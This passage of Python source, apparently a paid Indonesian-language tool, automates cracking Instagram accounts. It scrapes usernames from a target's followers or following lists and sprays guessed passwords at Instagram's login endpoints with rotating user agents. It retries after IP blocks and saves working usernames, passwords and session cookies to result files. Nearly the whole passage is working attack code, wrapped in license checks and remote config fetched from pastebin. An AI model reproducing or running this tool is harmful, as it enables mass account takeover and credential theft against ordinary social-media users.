  987.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  988.                     tree = Tree("")
  989.                     tree.add(f"\r{M}{nama} | {user} {N} ")
  990.                     tree.add(f"\r{N}Pengikut  : {K}{pengikut}{N}")
  991.                     tree.add(f"\r{N}Mengikuti : {K}{mengikut}{N}")
  992.                     tree.add(f"\r{N}Postingan : {H}{postingan}{N}")
  993.                     prints(tree)
  994.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  995.                     checkpoint.append(user)
  996.                     break
  997.                 elif 'ip_block' in str(respon.text):
  998.                     sys.stdout.write(f'\r{P}[{M}×{P}] {M}ip.com{P}{loop}/{len(internal)}{P} OK:{H}{len(success)} {N}CP:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  999.                     time.sleep(10)
  1000.                     self.crackAPIversi2(user,pas)
  1001.                 else:
  1002.                     continue
  1003.             loop+=1
  1004.         except:
  1005.             self.crackAPIversi2(user,pas)
  1006.    
  1007.     def crackAJAX(self,user,pas):
  1008.         global loop,success,checkpoint
  1009.         ses = requests.Session()
  1010.         uas = random.choice(UaNgentodMuach)
  1011.         sys.stdout.write(f'\r{P}[{H}#{P}] crack {H}stabil {P}{loop}/{len(internal)}{P} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  1012.         try:
  1013.             for pw in pas:
  1014.                 xxcteam = random.randint(1000000000, 99999999999)
  1015.                 jam = calendar.timegm(current_GMT)
  1016.                 p = ses.get(str(random.choice([
  1017.                       "https://www.secure.instagram.com/accounts/login/",
  1018.                       "https://www.secure.instagram.com/accounts/login/?force_classic_login=&",
  1019.                       "https://www.secure.instagram.com/accounts/login/?force_classic_login&hl=en",
  1020.                       "https://www.secure.instagram.com/accounts/onetap/",
  1021.                       "https://www.secure.instagram.com/accounts/onetap/?next=%2F",
  1022.                       "https://www.secure.instagram.com/accounts/onetap/?next=/"
  1023.                       ])))
  1024.                 head = {
  1025.                       "Host": "www.secure.instagram.com",
  1026.                       "Connection": "keep-alive",
  1027.                       "Content-Length": "318",
  1028.                       "X-IG-WWW-Claim": "0",
  1029.                       "X-Instagram-AJAX": "9080db6b6a51",
  1030.                       "Content-Type": "application/x-www-form-urlencoded",
  1031.                       "Accept": "*/*",
  1032.                       "X-Requested-With": "XMLHttpRequest",
  1033.                       "X-ASBD-ID": "198387",
  1034.                       "User-Agent": uas,
  1035.                       "X-CSRFToken": p.cookies['csrftoken'],
  1036.                       "X-IG-App-ID": "1217981644879628",
  1037.                       "Origin": "https://www.secure.instagram.com",
  1038.                       "Sec-Fetch-Site": "same-origin",
  1039.                       "Sec-Fetch-Mode": "cors",
  1040.                       "Sec-Fetch-Dest": "empty",
  1041.                       "Referer": "https://www.secure.instagram.com/accounts/login/",
  1042.                       "Accept-Encoding": "gzip, deflate",
  1043.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1044.                       }
  1045.                 head2 = {
  1046.                       "Host": "www.secure.instagram.com",
  1047.                       "Connection": "keep-alive",
  1048.                       "Upgrade-Insecure-Requests": "1",
  1049.                       "User-Agent": uas,
  1050.                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1051.                       "dnt": "1",
  1052.                       "X-Requested-With": "mark.via.gp",
  1053.                       "Sec-Fetch-Site": "none",
  1054.                       "Sec-Fetch-Mode": "navigate",
  1055.                       "Sec-Fetch-User": "?1",
  1056.                       "Sec-Fetch-Dest": "document",
  1057.                       "Referer": "https://www.secure.instagram.com/accounts/login/",
  1058.                       "Accept-Encoding": "gzip, deflate",
  1059.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1060.                       }
  1061.                 param = {
  1062.                       "Host": "www.secure.instagram.com",
  1063.                       "Connection": "keep-alive",
  1064.                       "Cache-Control": "max-age=0",
  1065.                       "Upgrade-Insecure-Requests": "1",
  1066.                       "User-Agent": uas,
  1067.                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1068.                       "X-Requested-With": "mark.via.gp",
  1069.                       "Sec-Fetch-Site": "none",
  1070.                       "Sec-Fetch-Mode": "navigate",
  1071.                       "Sec-Fetch-User": "?1",
  1072.                       "Sec-Fetch-Dest": "document",
  1073.                       "Referer": f"https://www.secure.instagram.com/"+user+"/",
  1074.                       "Accept-Encoding": "gzip, deflate",
  1075.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1076.                       }
  1077.                 data = {
  1078.                       "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{jam}:{pw}",
  1079.                       "username":user,
  1080.                       "queryParams":"{}",
  1081.                       "optIntoOneTap":"false",
  1082.                       "stopDeletionNonce":"",
  1083.                       "trustedDeviceRecords":"{}"
  1084.                       }
  1085.                 dateku = str(random.choice([param, head2]))
  1086.                 respon=ses.post("https://www.secure.instagram.com/accounts/login/ajax/",headers = head, data = data, allow_redirects = dateku)
  1087.                 xc_team=json.loads(respon.text)
  1088.                 if "userId" in str(xc_team) or "sessionid" in ses.cookies.get_dict():
  1089.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1090.                     coki = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  1091.                     print("\r                                       ")
  1092.                     adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-Agent: {uazku()}\ncookies   : {coki}'
  1093.                     pepekXD = nel(adit, style='green')
  1094.                     print('\n')
  1095.                     cetak(nel(pepekXD,style='',title='\r[green]Account Login Method AJAX[white]'))
  1096.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1097.                     success.append(user)
  1098.                     break
  1099.                 elif 'href="https://www.instagram.com/challenge/action/"' in str(xc_team):
  1100.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1101.                     print("\r                                       ")
  1102.                     adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-agent: {uazku()}'
  1103.                     pepekXD = nel(adit, style='yellow')
  1104.                     print('\n')
  1105.                     cetak(nel(pepekXD,style='', title='\r[yellow]Account Check Method AJAX[white]'))
  1106.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1107.                     checkpoint.append(user)
  1108.                     break
  1109.                 elif 'ip_block' in str(respon.text):
  1110.                     sys.stdout.write(f'\r{P}[{M}#{P}] crack {M}spamIP {P}{loop}/{len(internal)}{P} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  1111.                     time.sleep(10)
  1112.                     self.crackAJAX(user,pas)
  1113.  
  1114.                 else:
  1115.                     continue
  1116.             loop+=1
  1117.         except:
  1118.             self.crackAJAX(user,pas)
  1119.    
  1120.     def checkAPI(self,usr,pwd):
  1121.         try:
  1122.             ts = calendar.timegm(current_GMT)
  1123.             xyaaXD = random.randint(1000000000, 99999999999)
  1124.             ses = requests.Session()
  1125.             ts = calendar.timegm(current_GMT)
  1126.             sys.stdout.write(f'\r{P}[{H}#{P}] {H}cheking {N}{usr}{P}');sys.stdout.flush()
  1127.             response = ses.get(f"https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en").text
  1128.             token = re.search('name="csrfmiddlewaretoken" value="(\\w+)"/>', str(response)).group(1)
  1129.             head = {
  1130.                     'Host': 'z-p42.www.instagram.com',
  1131.                     'Connection': 'keep-alive',
  1132.                     'Content-Length': '296',
  1133.                     'Cache-Control': 'max-age=0',
  1134.                     'Upgrade-Insecure-Requests': '1',
  1135.                     'User-Agent': 'Mozilla/5.0 (Linux; Android 10; RMX2185 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36',
  1136.                     'Origin': 'https://z-p42.www.instagram.com',
  1137.                     'Content-Type': 'application/x-www-form-urlencoded',
  1138.                     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1139.                     'dnt': '1',
  1140.                     'X-Requested-With': 'mark.via.gp',
  1141.                     'Sec-Fetch-Site': 'same-origin',
  1142.                     'Sec-Fetch-Mode': 'navigate',
  1143.                     'Sec-Fetch-User': '?1',
  1144.                     'Sec-Fetch-Dest': 'document',
  1145.                     'Referer': 'https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en',
  1146.                     'Accept-Encoding': 'gzip, deflate',
  1147.                     'Accept-Language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
  1148.                     }
  1149.             param={
  1150.                     'csrfmiddlewaretoken': token,
  1151.                     'username': usr,
  1152.                     'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{ts}:{pwd}'
  1153.                     }
  1154.             respon=ses.post("https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en", headers = head, data = param, allow_redirects=True)
  1155.             if "userId" in str(respon.text) or "sessionid" in ses.cookies.get_dict():
  1156.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  1157.                 print("OK")
  1158.                 print(f"{H}{usr} {P}| {H}{pwd}{P}\n")
  1159.                 open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1160.             elif 'href="https://www.instagram.com/challenge/action/"' in str(respon.text):
  1161.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  1162.                 print("CP")
  1163.                 print(f"{K}{usr} {P}| {K}{pwd}{P}\n")
  1164.                 open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1165.             elif 'ip_block' in str(respon.text):
  1166.                 sys.stdout.write(f'\r {P}[{M}#{P}] {M}spamIP {N}{len(usr)}{P}');sys.stdout.flush()
  1167.                 time.sleep(5)
  1168.                 self.checkAPI(usr, pwd)
  1169.         except:
  1170.             self.checkAPI(usr,pwd)
  1171.  
  1172.     def menu(self):
  1173.         self.logo()
  1174.         c=input(f'\n{P}[{H}+{P}] Chouse : {H}')
  1175.         if c=='':
  1176.             self.menu()
  1177.        
  1178.         elif c in ('17','91'):
  1179.             m=int(input(f'{P}[{H}+{P}] masukan jumlah target : '))
  1180.             for i in range(m):
  1181.                 i+1
  1182.                 i+=1
  1183.                 nama=input(f'{P}[{H}+{P}] masukan nama {B}{len(internal)}{P} : ')
  1184.                 name=self.searchAPI(self.cookie,nama)
  1185.             self.passwordAPI(name)
  1186.            
  1187.         elif c in ('1','01'):
  1188.             mas=input(f"{P}[{H}+{P}] apakah anda ingin crack massal? {P}({H}y{P}/{M}t{P}) : ")
  1189.             if mas in ['y','Y']:
  1190.                 masal(self)
  1191.             elif mas in ['t','T']:
  1192.                 massal(self)
  1193.             elif mas in ['']:
  1194.                 print(f"{P}[{M}!{P}] jangan kosong!")
  1195.                 exit()
  1196.  
  1197.         elif c in ('2','02'):
  1198.             pr='[•] CRACK DARI PENGIKUT'
  1199.             po=nel(pr,style='')
  1200.             sol().print(po)
  1201.             #massal(self)
  1202.             mas=input('  [•] Apakah anda ingin crack masal? y/t >  ')
  1203.             if mas in ['y','Y']:
  1204.                 masal(self)
  1205.             elif mas in ['t','T']:
  1206.                 massal(self)
  1207.             elif mas in ['']:
  1208.                 print('ISI JANGAN KOSONG KENTOD!')
  1209.  
  1210.  
  1211.         elif c in ('3','03'):
  1212.             print(f'{P}[{M}×{P}] menu off bang')
  1213.             time.sleep(4)
  1214.             for i in os.listdir('result'):
  1215.                 print(f'{P}[{B}+{P}] {i}')
  1216.             c=input(f'{P}[{B}?{P}] masukan nama file : {H}')
  1217.             g=open("result/%s"%(c)).read().splitlines()
  1218.             jalan(f'\n{P}[{B}?{P}] total result di temukan : {H}{len(g)}{P}')
  1219.             prints(Panel(f"sedang mengecek status akun harap tunggu sebentar",width=80))
  1220.             for s in g:
  1221.                 usr=s.split("|")[0]
  1222.                 pwd=s.split("|")[1]
  1223.                 self.checkAPI(usr,pwd)
  1224.             jalan(f"{P}[{H}+{P}] proses check akun selesai...")
  1225.             exit()
  1226.  
  1227.         elif c in ('8','08'):
  1228.             time.sleep(4)
  1229.             for i in os.listdir('result'):
  1230.                 print(f'{P}[{H}+{P}] {i}')
  1231.             c=input(f'{P}[{H}+{P}] masukan nama file : ')
  1232.             g=open("result/%s"%(c)).read().splitlines()
  1233.             xx=c.split("-")
  1234.             xc=xx[0]
  1235.             for s in g:
  1236.                 usr=s.split("|")[0]
  1237.                 pwd=s.split("|")[1]
  1238.                 fol=s.split("|")[2]
  1239.                 ful=s.split("|")[3]
  1240.                 if xc=="checkpoint":
  1241.                     print(f"""
  1242. {P}[{K}+{P}] {K}Leo-Ok{P}
  1243. {P}|{P}
  1244. {P}├╴>{P} username  : {K}{usr}{C}
  1245. {P}├╴>{P} password  : {K}{pwd}{C}
  1246. {P}├╴>{P} followers : {K}{fol}{C}
  1247. {P}├╴>{P} following : {K}{ful}{C}
  1248.                     """);sleep(0.05)
  1249.                 else:
  1250.                     print(f"""
  1251. {P}[{H}+{P}] {H}Leo-Cp{P}
  1252. {P}|{P}
  1253. {P}├╴>{P} username  : {H}{usr}{C}
  1254. {P}├╴>{P} password  : {H}{pwd}{C}
  1255. {P}├╴>{P} followers : {H}{fol}{C}
  1256. {P}├╴>{P} following : {H}{ful}{C}
  1257.                     """);sleep(0.05)
  1258.        
  1259.         elif c in ('s6','06s'):
  1260.             print(f'{P}[{M}!{P}] bot auto unfollow sedang dalam proses maintenance')
  1261.             time.sleep(2)
  1262.             self.menu()
  1263.  
  1264.         elif c in ('s7','0s7'):
  1265.             self.HapusLisen()
  1266.            
  1267.         elif c in ('0','00'):
  1268.             self.Exit()
  1269.  
  1270.         else:
  1271.             print(f'{P}')
  1272.             prints(Panel(f"""{warna_putih}menu ini khusus penguna {warna_hijau}premium{warna_putih} user {warna_kuning}trial{warna_putih} di larang memakai menu ini"""))
  1273.         exit()
  1274. def login_lisen():
  1275.     banner()
  1276.     print(f' KETIK open UNTUK MEMBELI LISENSI')
  1277.     sa = input(f'{B}•{P} Masukan Lisensi : ')
  1278.     loading()  
  1279.     if sa in ['open','Open','OPEN']:
  1280.         os.system('xdg-open http://wa.me/6289669084331')
  1281.         exit()
  1282.     elif sa in ['']:
  1283.         print(f'{P} jangan kosong')
  1284.     elif sa in ['GOWPZNCRDSXJGFJ']:
  1285.         print(f'{P}[{H}√{P}] Lisensi Login')
  1286.         ggwp17()
  1287.     else:
  1288.         print(f'{M}[×] {P}Lisensi Tidak Login')
  1289. def tlisensi():
  1290.     lu()
  1291.     cetak(nel('[!] Lisensi Tidak Valid\n[!] Silahkan Ketik [green]"Buy"[/green] Untuk membeli lisensi'))
  1292.     time.sleep(2)
  1293.     lisen=input('[•] Masukan Lisensi : ')
  1294.     if lisen in ['']:
  1295.      print(f'{M}[!] JANGAN KOSONG{N}');sleep(1)
  1296.      tlisensi()
  1297.     if lisen in ['buy','Buy']:
  1298.      os.system('xdg-open https://wa.me/+6281221523195?text=Bang+beli+lisensi+IG+nya+dong');exit()
  1299.     loadinglisen()
  1300.     open('.lisen.txt','w').write(lisen)
  1301.     lisensi()
  1302.    
  1303. def lisensi():
  1304.  try:
  1305.   cek=open('.lisen.txt').read()
  1306.   lisensikuni.append(cek)
  1307.  except:
  1308.   tlisensi()
  1309.  ses=requests.Session()
  1310.  res=ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIyODk1MzkwMyIsImVUdmdBNEZpL0RyVEFReFFwVTBhMzhaelBIaHZJbHhWQkZSSUdHRVoiXQ==&ProductId=17514&Key='+lisensikuni[0]).json()
  1311.  status=res['licenseKey']['key']
  1312.  if status ==cek:
  1313.   li()
  1314.   cetak(nel('\t[green] SELAMAT LISENSI ANDA VALID[/green]'))
  1315.   time.sleep(2)
  1316.   lisensiku.append("sukses")
  1317.   ggwp17()
  1318.  elif status ==KeyError:
  1319.   os.system('rm .lisen.txt')
  1320.  else:
  1321.   tlisensi()
  1322.  
  1323. def mengi(self):
  1324.             try:
  1325.                 menudump.append('mengikuti')
  1326.                 print('[!] Target harus bersifat publik jangan privat')
  1327.                 m=int(input(f'[?] Masukan jumlah target: {N}'))
  1328.             except:m=1
  1329.             for t in range(m):
  1330.                 t +=1
  1331.                 print(f'[+] Total username :{len(internal)}')
  1332.                 nama=input(f'[{t}] Masukan Username : ')
  1333.                 id=self.idAPI(self.cookie,nama)
  1334.                 info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100',id)
  1335.             self.passwordAPI(info)
  1336.  
  1337. def meng(self):
  1338.     try:
  1339.         menudump.append('mengikuti')
  1340.         print('[!] Target harus bersifat publik jangan privat')
  1341.         m=input(f'{N}[•] Username target : {C}')
  1342.         id=self.idAPI(self.cookie,m)
  1343.         info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100',id)
  1344.         self.passwordAPI(info)
  1345.     except Exception as e:
  1346.         print(e)
  1347.  
  1348. def masal(self):
  1349.             try:
  1350.                 menudump.append('pengikut')
  1351.                 print('[!] Target harus bersifat publik jangan privat')
  1352.                 m=int(input(f'[?] Masukan jumlah target: {N}'))
  1353.             except:m=1
  1354.             for t in range(m):
  1355.                 t +=1
  1356.                 print(f'[+] Total username :{len(internal)}')
  1357.                 nama=input(f'[{t}] Masukan Username : ')
  1358.                 id=self.idAPI(self.cookie,nama)
  1359.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100',id)
  1360.             self.passwordAPI(info)
  1361.  
  1362.  
  1363.  
  1364. def massal(self):
  1365.             menudump.append('pengikut')
  1366.             print('[!] Target harus bersifat publik jangan privat')
  1367.             m=input(f'{N}[•] Username target : {C}')
  1368.             id=self.idAPI(self.cookie,m)
  1369.             info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100',id)
  1370.             self.passwordAPI(info)
  1371.  
  1372. day=datetime.now().strftime("%d-%b-%Y")
  1373. nyMnD = 5
  1374. nyMxD = 10
  1375. current_GMT = time.gmtime(time.time())
  1376.  
  1377. kentod = random.choice(["KHRHE-UKDM-UOFJR-LBRJ","MORHE-UUQDM-OOFJR-IBRJZ","LIMPL-XDZGC-NNVDR-NXGXK","LHEZL-RPKJG-IPPOR-YWXGV","JOJQR-GKFVW-VLYJT-UNITI","GSNEP-NTRCE-CTKYK-OIAGD","LTQVM-NRQSC-LVJCL-SVQTD","HCYUY-ADXUB-MPCVJ-DGNQE","JHSQH-YAYOT-WDWFU-FAYIV","MTIRZ-YXKRT-ZEYGN-UWJMK","LWGOO-ZPRNJ-FKDXT-YNBZB","GTSCS-MEXZL-YXMLX-NLUCT","KWQRM-ROFYY-YLBST-BKXAE","LISBX-TPVSB-WXKEV-XOMIB","JVFEN-WKCFP-XLLXV-GAKUS","LEHBK-GBLHK-NACGN-EEHUW","KAEPL-IBDPP-WQYGN-PMUSI","KVIZG-ILJVO-EKFYT-THGKZ"])
  1378. kentodd=random.choice([kentod])
  1379. crot=(kentodd)
  1380.  
  1381. ###——[hanss-ganteng]——###
  1382. expired = ['05', '08', '2023']
  1383. saat_ini = datetime.now()
  1384. tgl = saat_ini.strftime('%d')
  1385. bln = saat_ini.strftime('%m')
  1386. thn = saat_ini.strftime('%Y')
  1387. waktu_new = (tgl+"-"+bln+"-"+thn)
  1388.  
  1389. if __name__=="__main__":
  1390.     tanggal = thn + bln + tgl
  1391.     exp = expired[2] + expired[1] + expired[0]
  1392.     if tanggal >= exp:
  1393.         os.system("clear")
  1394.         sys.exit()
  1395.     else:
  1396.         os.system('git pull')
  1397.         make()
  1398.  
  1399. if __name__=="__main__":
  1400.     lisensiku.append("sukses")
  1401.     try:
  1402.         with requests.Session() as ses:
  1403.              ko = ses.get('https://pastebin.com/raw/0cWckNrU').json()
  1404.              HARIS.update(ko)
  1405.              ki = ses.get('https://pastebin.com/raw/9GybVKaq').json()
  1406.              HARIS1.update(ki)
  1407.              ggwp17()
  1408.     except requests.exceptions.ConnectionError:
  1409.         print(f'{P}[{M}!{P}] koneksi internet anda bermasalah')
  1410.         time.sleep(0.03)
  1411.         exit()
  1412.        
Add Comment
Please, Sign In to add comment